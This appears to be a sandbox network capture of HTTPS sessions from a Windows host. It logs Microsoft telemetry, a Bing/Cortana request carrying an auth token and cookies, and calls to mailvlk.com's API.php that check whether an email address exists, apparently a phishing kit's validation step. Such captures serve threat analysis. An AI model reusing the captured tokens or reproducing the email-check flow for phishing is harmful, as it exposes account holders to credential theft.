2024-04-24 13:43:31 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-04-24 13:43:31 UTC	433	IN	HTTP/1.1 200 OK Content-Length: 7285 Content-Type: application/json; charset=utf-8 ETag: 1990839233_1363764292 Strict-Transport-Security: max-age=2592000 X-Content-Type-Options: nosniff X-ExP-TrackingId: 49d4cce7-90d0-47b3-a67d-0d6477c2713c X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0B25F7C8B48E4CEFA596E5FF6134D59A Ref B: BY3EDGE0419 Ref C: 2024-04-24T13:43:31Z Date: Wed, 24 Apr 2024 13:43:31 GMT Connection: close
2024-04-24 13:43:31 UTC	1024	IN	Data Raw: 7b 22 46 65 61 74 75 72 65 73 22 3a 5b 22 68 69 67 68 71 75 61 6c 69 74 79 63 61 70 74 75 72 65 63 22 2c 22 79 6f 61 6c 77 39 38 30 31 63 66 22 2c 22 79 6f 63 33 37 32 31 22 2c 22 61 61 74 65 73 31 32 31 22 2c 22 79 6f 63 61 6c 38 33 30 22 2c 22 65 6d 70 72 6f 37 30 32 22 2c 22 79 6f 6e 6f 6e 32 34 38 22 2c 22 63 6f 6e 74 61 63 74 73 76 32 73 79 6e 63 6f 6e 6c 79 22 2c 22 79 6f 79 70 70 31 31 37 22 2c 22 79 6f 79 70 70 35 36 31 22 2c 22 79 6f 70 68 6f 31 35 36 22 2c 22 79 70 72 6f 6d 65 6c 65 73 73 22 2c 22 79 6f 72 65 6d 37 38 32 22 2c 22 79 6f 72 65 6d 33 32 35 22 2c 22 79 6f 72 6f 6d 39 33 39 22 2c 22 79 6f 79 70 70 36 33 38 22 2c 22 79 6f 61 61 6f 77 63 34 36 63 66 22 2c 22 79 6f 35 35 36 22 2c 22 79 6f 61 61 6f 32 36 37 22 2c 22 79 6f 70 72 69 32 35 Data Ascii: {"Features":["highqualitycapturec","yoalw9801cf","yoc3721","aates121","yocal830","empro702","yonon248","contactsv2synconly","yoypp117","yoypp561","yopho156","ypromeless","yorem782","yorem325","yorom939","yoypp638","yoaaowc46cf","yo556","yoaao267","yopri25
2024-04-24 13:43:31 UTC	1024	IN	Data Raw: 2c 22 31 34 67 36 22 3a 22 61 61 74 65 73 31 32 31 22 2c 22 31 38 66 7a 22 3a 22 79 6f 63 61 6c 38 33 30 22 2c 22 31 68 6a 65 22 3a 22 65 6d 70 72 6f 37 30 32 22 2c 22 31 71 61 38 22 3a 22 79 6f 6e 6f 6e 32 34 38 22 2c 22 31 77 6d 74 22 3a 22 63 6f 6e 74 61 63 74 73 76 32 73 79 6e 63 6f 6e 6c 79 22 2c 22 32 69 77 6a 22 3a 22 79 6f 79 70 70 31 31 37 22 2c 22 32 6a 36 61 22 3a 22 79 6f 79 70 70 35 36 31 22 2c 22 32 6b 71 32 22 3a 22 79 6f 70 68 6f 31 35 36 22 2c 22 32 6c 61 64 22 3a 22 79 70 72 6f 6d 65 6c 65 73 73 22 2c 22 32 6f 63 64 22 3a 22 79 6f 72 65 6d 37 38 32 22 2c 22 32 72 65 6b 22 3a 22 79 6f 72 65 6d 33 32 35 22 2c 22 32 73 63 78 22 3a 22 79 6f 72 6f 6d 39 33 39 22 2c 22 32 74 70 33 22 3a 22 79 6f 79 70 70 36 33 38 22 2c 22 33 30 62 38 22 3a 22 Data Ascii: ,"14g6":"aates121","18fz":"yocal830","1hje":"empro702","1qa8":"yonon248","1wmt":"contactsv2synconly","2iwj":"yoypp117","2j6a":"yoypp561","2kq2":"yopho156","2lad":"ypromeless","2ocd":"yorem782","2rek":"yorem325","2scx":"yorom939","2tp3":"yoypp638","30b8":"
2024-04-24 13:43:31 UTC	1024	IN	Data Raw: 32 36 34 22 2c 22 35 39 30 71 22 3a 22 34 61 33 30 64 34 35 35 22 2c 22 35 39 67 67 22 3a 22 32 69 32 68 65 31 31 38 22 2c 22 35 39 67 6a 22 3a 22 34 64 65 35 67 35 34 32 22 2c 22 35 39 76 7a 22 3a 22 62 65 63 34 34 37 35 37 22 2c 22 35 61 39 73 22 3a 22 39 38 34 65 39 37 37 34 22 2c 22 35 61 74 6b 22 3a 22 35 35 35 64 37 39 37 38 22 2c 22 35 62 61 74 22 3a 22 65 6a 66 34 36 37 39 35 22 2c 22 35 63 70 66 22 3a 22 34 39 62 34 67 31 33 33 22 2c 22 35 63 72 73 22 3a 22 33 62 66 39 67 38 35 35 22 2c 22 35 64 77 37 22 3a 22 69 34 37 62 65 31 37 38 22 2c 22 35 65 74 36 22 3a 22 32 34 38 66 61 31 38 36 22 2c 22 35 66 6c 32 22 3a 22 68 35 31 66 30 33 34 32 22 2c 22 35 66 79 6f 22 3a 22 68 64 65 31 67 32 36 37 22 2c 22 35 66 79 71 22 3a 22 34 6a 6a 66 62 37 36 38 Data Ascii: 264","590q":"4a30d455","59gg":"2i2he118","59gj":"4de5g542","59vz":"bec44757","5a9s":"984e9774","5atk":"555d7978","5bat":"ejf46795","5cpf":"49b4g133","5crs":"3bf9g855","5dw7":"i47be178","5et6":"248fa186","5fl2":"h51f0342","5fyo":"hde1g267","5fyq":"4jjfb768
2024-04-24 13:43:31 UTC	1024	IN	Data Raw: 7d 7d 2c 7b 22 49 64 22 3a 22 59 6f 75 72 50 68 6f 6e 65 22 2c 22 50 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 41 41 4f 57 43 34 36 22 3a 36 34 30 30 2c 22 41 41 4f 57 43 34 37 22 3a 37 34 30 30 2c 22 41 41 4f 57 43 36 31 22 3a 31 36 30 30 2c 22 41 41 4f 57 43 36 32 22 3a 32 36 30 30 2c 22 41 41 4f 57 43 36 33 22 3a 33 36 30 30 2c 22 41 69 72 70 6c 61 6e 65 4d 6f 64 65 53 74 61 74 75 73 22 3a 74 72 75 65 2c 22 41 75 74 6f 48 79 64 72 61 74 65 64 49 6d 61 67 65 73 43 6f 75 6e 74 22 3a 30 2c 22 43 61 6c 6c 69 6e 67 41 6c 74 42 6c 75 65 74 6f 6f 74 68 50 61 69 72 69 6e 67 45 76 65 6e 74 22 3a 74 72 75 65 2c 22 43 61 6c 6c 69 6e 67 45 78 69 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 43 61 6c 6c 69 6e 67 4f 53 53 65 72 76 69 63 69 6e 67 46 69 Data Ascii: }},{"Id":"YourPhone","Parameters":{"AAOWC46":6400,"AAOWC47":7400,"AAOWC61":1600,"AAOWC62":2600,"AAOWC63":3600,"AirplaneModeStatus":true,"AutoHydratedImagesCount":0,"CallingAltBluetoothPairingEvent":true,"CallingExitConfirmation":true,"CallingOSServicingFi
2024-04-24 13:43:31 UTC	1024	IN	Data Raw: 3a 74 72 75 65 2c 22 49 73 41 75 74 68 56 32 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 4d 65 64 69 61 50 61 63 6b 43 68 65 63 6b 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 68 61 74 46 69 6c 74 65 72 54 6f 67 67 6c 65 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 6f 6e 73 65 6e 74 56 32 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 6f 6e 76 65 72 73 61 74 69 6f 6e 56 69 65 77 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 48 69 64 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 4d 75 74 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 50 69 6e 6e 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 53 65 61 72 63 68 22 3a 74 72 75 65 2c 22 Data Ascii: :true,"IsAuthV2Enabled":true,"MediaPackCheck":true,"MessagingChatFilterToggle":true,"MessagingConsentV2":true,"MessagingConversationView":true,"MessagingEnableHiding":true,"MessagingEnableMuting":true,"MessagingEnablePinning":true,"MessagingSearch":true,"
2024-04-24 13:43:31 UTC	1024	IN	Data Raw: 69 6e 67 54 6f 70 30 31 31 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 69 6e 67 54 6f 70 30 31 32 22 3a 74 72 75 65 2c 22 52 65 6d 6f 74 69 6e 67 54 6f 70 30 31 35 22 3a 74 72 75 65 2c 22 52 6f 6d 65 44 69 73 61 62 6c 65 64 22 3a 34 34 31 35 30 33 2c 22 53 65 63 75 72 65 43 6f 6e 74 65 6e 74 22 3a 74 72 75 65 2c 22 53 68 65 6c 6c 45 78 74 65 6e 64 65 64 4c 65 66 74 50 61 6e 65 22 3a 74 72 75 65 2c 22 54 65 73 74 46 65 61 74 75 72 65 32 22 3a 66 61 6c 73 65 2c 22 55 6e 69 76 65 72 73 61 6c 42 6c 75 65 74 6f 6f 74 68 50 61 69 72 69 6e 67 22 3a 74 72 75 65 2c 22 57 68 61 74 73 4e 65 77 43 4e 22 3a 74 72 75 65 2c 22 59 50 50 43 61 74 61 73 74 72 6f 70 68 69 63 45 72 72 6f 72 41 75 74 6f 52 65 73 65 74 22 3a 74 72 75 65 2c 22 59 50 50 43 6f 6e 73 65 63 75 74 69 76 Data Ascii: ingTop011":true,"RemotingTop012":true,"RemotingTop015":true,"RomeDisabled":441503,"SecureContent":true,"ShellExtendedLeftPane":true,"TestFeature2":false,"UniversalBluetoothPairing":true,"WhatsNewCN":true,"YPPCatastrophicErrorAutoReset":true,"YPPConsecutiv
2024-04-24 13:43:31 UTC	1024	IN	Data Raw: 79 6f 35 35 36 3a 33 30 39 38 36 35 35 36 3b 79 6f 61 61 6f 32 36 37 3a 33 30 34 33 34 36 37 32 3b 79 6f 70 72 69 32 35 37 3a 33 30 34 36 34 34 33 33 3b 79 6f 31 37 39 3a 33 30 34 34 35 33 31 30 3b 79 6f 69 73 61 38 36 31 3a 33 30 35 32 35 38 36 38 3b 79 6f 72 65 6d 31 34 31 3a 33 30 34 38 36 33 35 33 3b 79 6f 79 70 70 36 35 32 3a 33 30 35 31 35 34 38 33 3b 79 6f 35 32 35 3a 33 30 35 35 33 39 38 35 3b 79 6f 36 30 36 3a 33 30 35 32 37 38 35 30 3b 79 6f 6e 6f 74 36 33 33 3a 33 30 36 32 36 30 37 38 3b 79 6f 79 70 70 38 35 39 3a 33 30 36 38 37 38 35 39 3b 79 6f 69 6e 64 36 36 35 3a 33 30 35 39 35 31 36 33 3b 79 6f 64 63 67 38 33 30 3a 33 30 37 31 32 39 34 39 3b 6f 6e 6c 79 5f 74 6f 61 73 74 63 6f 6e 74 65 78 74 6d 65 6e 75 3a 33 30 36 34 38 30 38 31 3b 61 6a Data Ascii: yo556:30986556;yoaao267:30434672;yopri257:30464433;yo179:30445310;yoisa861:30525868;yorem141:30486353;yoypp652:30515483;yo525:30553985;yo606:30527850;yonot633:30626078;yoypp859:30687859;yoind665:30595163;yodcg830:30712949;only_toastcontextmenu:30648081;aj
2024-04-24 13:43:31 UTC	117	IN	Data Raw: 38 33 38 35 30 33 3b 35 30 63 37 39 31 30 36 3a 33 30 38 33 38 36 31 39 3b 6a 61 35 63 34 32 34 39 3a 33 31 30 30 36 32 34 34 3b 68 33 65 64 34 31 36 31 3a 33 30 38 39 31 37 38 34 3b 61 62 69 30 67 38 31 37 3a 33 30 39 35 32 38 37 35 3b 61 35 34 66 61 35 37 34 3a 33 30 39 39 33 33 34 39 3b 64 69 66 32 32 32 31 39 3a 33 30 39 36 30 34 30 32 3b 22 7d Data Ascii: 838503;50c79106:30838619;ja5c4249:31006244;h3ed4161:30891784;abi0g817:30952875;a54fa574:30993349;dif22219:30960402;"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.17	49793	13.107.21.200	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:32 UTC	2570	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: 120 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAdpEaVUALvzi%2B4T3BgablIS%2BW8e7GqVx7pYMbmXXWto%2BOxs7wssH1ME9/UrkOxQihAL1Udgzz7vCg8vyPFRTwjYo%2BkN6EryOFuUBMSbbCw8x9G0I1dV99l8BqZcKW%2BJ75yS7avOMGnGd4Nk2JOujGFzvTwaiVzDQ0Q6AI1oe4wc01aK0F66fq4C2rCwFLwde/TRZATyCF/dJS5dYWlC9OhIMPwOYtIYpKDbgfhZn4AtqrbChbhLAvciqZIXWuvrHC%2Bkf7LANyVgF83kwm/yTyQvy6FWAs0GEwl1Fv5gFKszbZ8ew/C1F0eP13XW2DhcZoyDCsXvmrBOoZdoCPkLbKhIDZgAACArr3roFmYkUqAHrkAE/nwM55CyGHj85juyddYNQsy5XH5t4ODbWXuZ4wyqV80TbDoJh2dAhzi31Nf4VIJ6Z3DljHfoViS/ZY5Hz%2BevCoFowQcY2qRW4WKx3nmODn05RmO7MDv1WA3TSIFThVlW7JjSb67UR6ZdHgN3wC6UPU2f3Zb/8Ey6/sMzD4%2Bi%2B6N2pYv2K02KUzjB5sVUpIuw9%2Bh3%2BvpDPX2bh1BEIAvIBzu7cqrcuw0QpV5sMP6fk6CLBp3/gdws7mnDtXz3FqRfRtsGfhr1%2BauYcFGQErEesTFPN%2B8AGBlcuiSLybOqbBmqx80mWY6b0qxOw6UHGl7naAEU3A/zjAJM6uDMqhb6F2UWYB1fukjwjYOB9IyVUekPtRfppRQDNvIz9xe1KKHoUI0LSz%2B3GSjrHAw/4F6yk4/cboVIM52AOUZXT/NvIGz1Kj4tQ3jtQ52UhbxWnbemHG27eCeiNMZGsK411PlzY16IZ94pkqBa2gmBD68ckelRrAQ6FyWe4V0QeIu0MdQeM9QbxhIcio0XQBebtxaZpukhU89acYoSl5Dv2Sc22g%2ByKDUVv2QE%3D%26p%3D X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1713966209 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: A399B0218CAF4CAEA3F2C1ED9368597D X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-04-24 13:43:32 UTC	1463	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2215 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: _EDGE_S=SID=24C9A5370741670A2D9AB15C06AF6647&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: MUIDB=4590362BB5CF472B95BBEDB3112D4B7B; expires=Mon, 19-May-2025 13:43:32 GMT; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Mon, 19-May-2025 13:43:32 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=24C9A5370741670A2D9AB15C06AF6647; domain=.bing.com; path=/; secure; SameSite=None X-EventID: 66290c8476fa430288864f8987efb8f5 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 39D81D85771B4181B5C339CA0CFC171E Ref B: LAX311000108019 Ref C: 2024-04-24T13:43:32Z Date: Wed, 24 Apr 2024 13:43:32 GMT Connection: close
2024-04-24 13:43:32 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	49795	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:49 UTC	1216	OUT	GET /API.php?data=mail&email=rickd@gmail.com&_=1713966201970 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-platform-version: "10.0.0" X-Requested-With: XMLHttpRequest sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:50 UTC	746	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=djiRKcdhlVlk2aqZBvP%2Bjmnp1abPn%2BnZFZbJbioW2B1Bkgsecp2vstPS%2B2TRR2dXtz77%2B1QYen%2FvmlZVP30BHgPi8cW%2Fn%2FPb3Xemb2QQHFIHg9%2BUf6IPA9cWexvWhQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796864b4aed0cb7-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:50 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-24 13:43:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.17	49797	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:51 UTC	606	OUT	GET /API.php?data=mail&email=rickd@gmail.com&_=1713966201970 HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:51 UTC	746	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Lncfb%2Bf0ZgvAUhn0ZSU26EkkRYS%2Fy3%2F9%2BRSTmUcjYS%2BZr0GpLA7Q1dyMm6Nj3r6WSqlTzqR%2Bmu5ZoPJbyGe6yZelcsnTuZEL0gAXNQa%2FeIZCP6orypMo6DJJ%2F8yMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879686526bce2a95-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:51 UTC	30	IN	Data Raw: 31 38 0d 0a 7b 22 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 18{"IfExistsResult":false}
2024-04-24 13:43:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.17	49798	35.190.80.1	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:06 UTC	540	OUT	OPTIONS /report/v4?s=djiRKcdhlVlk2aqZBvP%2Bjmnp1abPn%2BnZFZbJbioW2B1Bkgsecp2vstPS%2B2TRR2dXtz77%2B1QYen%2FvmlZVP30BHgPi8cW%2Fn%2FPb3Xemb2QQHFIHg9%2BUf6IPA9cWexvWhQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://mailvlk.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:44:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 24 Apr 2024 13:44:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.17	49799	35.190.80.1	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:06 UTC	540	OUT	OPTIONS /report/v4?s=4Lncfb%2Bf0ZgvAUhn0ZSU26EkkRYS%2Fy3%2F9%2BRSTmUcjYS%2BZr0GpLA7Q1dyMm6Nj3r6WSqlTzqR%2Bmu5ZoPJbyGe6yZelcsnTuZEL0gAXNQa%2FeIZCP6orypMo6DJJ%2F8yMw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://mailvlk.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:44:06 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 24 Apr 2024 13:44:06 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.17	49800	35.190.80.1	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:07 UTC	487	OUT	POST /report/v4?s=djiRKcdhlVlk2aqZBvP%2Bjmnp1abPn%2BnZFZbJbioW2B1Bkgsecp2vstPS%2B2TRR2dXtz77%2B1QYen%2FvmlZVP30BHgPi8cW%2Fn%2FPb3Xemb2QQHFIHg9%2BUf6IPA9cWexvWhQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1835 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
